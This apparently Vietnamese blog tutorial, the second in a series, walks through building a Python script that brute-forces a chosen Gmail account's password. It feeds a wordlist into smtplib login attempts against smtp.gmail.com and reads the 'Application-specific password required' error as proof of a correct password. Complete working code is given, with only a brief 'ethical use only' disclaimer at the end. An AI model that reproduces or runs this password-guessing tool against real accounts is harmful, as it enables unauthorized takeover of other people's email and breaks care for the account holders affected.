Trong bài viết trước chúng ta đi tìm hiểu về ý tưởng phác thảo lên để viết công cụ Brute Force mật khẩu Gmail bằng Python . Vậy thì trong bài viết này ta sẽ cùng nhau đi xây dựng cho mình một công cụ Brute Force .
Công cụ hôm nay chúng ta thực hiện sẽ được viết bằng python 3 .
Phần 2 : Thiết kế công cụ
Ok ! Lên xe ta cùng đi nào .
Ừm , đầu tiên ta sẽ xác định chúng ta sẽ dùng cái gì trong Script này . Như đã đề cập ở bài trước , ta sẽ dùng module có tên là smtplib . Còn lại thì đã có sẵn trong mặc định của Python nên ta không cần bàn tiếp .
1. Nhập module và các thông tin cần thiết
Vì chương trình của ta chỉ dùng duy nhất một module có tên là smtplib . Còn muốn tùy biến thêm thì tùy ở bạn . Nhưng cốt lõi của cái này vẫn là smtplib .

Thứ hai , vì chương trình của chúng ta được xây dựng theo kiểu Brute Force nên sẽ cần có một pass file . Nên ta sẽ cần viết lệnh yêu cầu người dùng cho ta biết đâu là file pass cần dùng . Tiếp theo là cần một tài khoản cần để tấn công . Và vậy ta có các lệnh sau :
2. Các bước liên quan khác .
Sau khi người dùng nhập vào địa chỉ file pass . Thì chương trình sẽ mở file pass rồi đọc từng dòng pass để đưa cho các bước login sau . Vậy , để mở file pass đó ta sẽ dùng open() , mà ta chỉ cần đọc pass thôi nên ta dùng tiếp chế độ 'r' . Ừm , mà vì đó là một danh sách mật khẩu, mà ở đây ta đang dùng Brute Force nên ta sẽ đọc từng dòng một trong file pass rồi mới tiến hành attack , nếu pass sai , lấy pass ở dòng dưới và nếu đúng thì kết thúc. À , để đọc từng dòng một , ta đã có readlines() . Vậy ta có code sau :2. Các bước liên quan khác .
3. Thực hiện attack mật khẩu
Các bạn đã nghe qua vòng lặp for chưa . Chưa thì về học lại lớp 9 he . Mình không nói thêm về phần này . Nếu bạn nào học chắc phần lặp này ở lớp 9 hoặc lớp 11 thì khi nhìn vào code dưới sẽ hiểu ngay . Tuy là Pascal với Python nó khác nhau, nhưng ý tưởng ở đây là như nhau .
Mình giải thích chút về những cái mà mình nghĩ là một số bạn sẽ không hiểu ở đây :
smtplib.SMTP_SSL('smtp.gmail.com', 465).login(user, password)
Cái trên là để thực hiện kết nối đến Gmail bằng user và password . Thực chất thì nó có thể biết theo kiểu như này :
connect = smtplib.SMTP_SSL('smtp.gmail.com', 465)
connect.login(user, password)
Hai cách viết giống nhau , không có gì khác cả .
if 'Application-specific password required' in str(error):
str(error) thì đơn giản quá nên mình không alo nó lại nữa . Còn dòng trước thôi . Tại sao đã :
if 'Application-specific password required' in str(error):
print ("+> Pass là "+ password)
Mà còn in là pass là . Tại sao đã là lỗi khi đăng nhập rồi mà còn thông báo là đó là pass ? . 😠 .
Tớ giải thích như này các cậu tự hiểu nhé ! ." Application-specific password required " là " mật khẩu dành riêng cho ứng dụng " , tức là gì , tức là cái Gmail này bắt buộc chỉ có thể truy cập bằng cách truy cập trực tiếp từ gmail.com . Muốn truy cập bằng SMTP thì phải cấu hình lại trong cài đặt. Do đó , cho dù đăng nhập được hay là thông báo lỗi rằng Application-specific password required thì đó đều là mật khẩu ta cần .
Ok . Thế thôi , còn đây là toàn bộ code :
import smtplib
file_pass = input("File pass cần dùng: ")
user = input("Tài khoản : ")
pass_attack = open(file_pass,'r').readlines()
i = 0
for password in pass_attack:
i = i + 1
try:
smtplib.SMTP_SSL('smtp.gmail.com', 465).login(user, password)
print ("+> Pass là "+ password)
break
except smtplib.SMTPAuthenticationError as error:
if 'Application-specific password required' in str(error):
print ("+> Pass là "+ password)
break
else:
print ("+> Không phải "+ password)
Lưu ý luôn với các bạn là không phải cái Gmail nào cũng được đâu nhé , tùy vào cấu hình bảo mật của người dùng và chính sách của Gmail . Đơn cử như mình test với Gmail 1 thì ok , nhưng với Gmail 2 thì nó không được , mặc dù mật khẩu đúng. Nguyên do là Gmail nó liệt SMTP vào ứng dụng không an toàn . Và câu hỏi đặt ra ở đây là tại sao gmail 1 không bị, mình cũng chả biết, chắc là do Gmail 1 có bật xác thực nên Gmail nó cười rằng " Ngu , tao đã bật xác thực hai yếu tố thì bố mày ứng dụng độc với chả hại " .
Cuối cùng , blog của tôi dành cho Ethical thôi, không phải thì đi chỗ khác chơi . Cấm nghịch !
OK ! DONE
[ " Ai biết được " ]


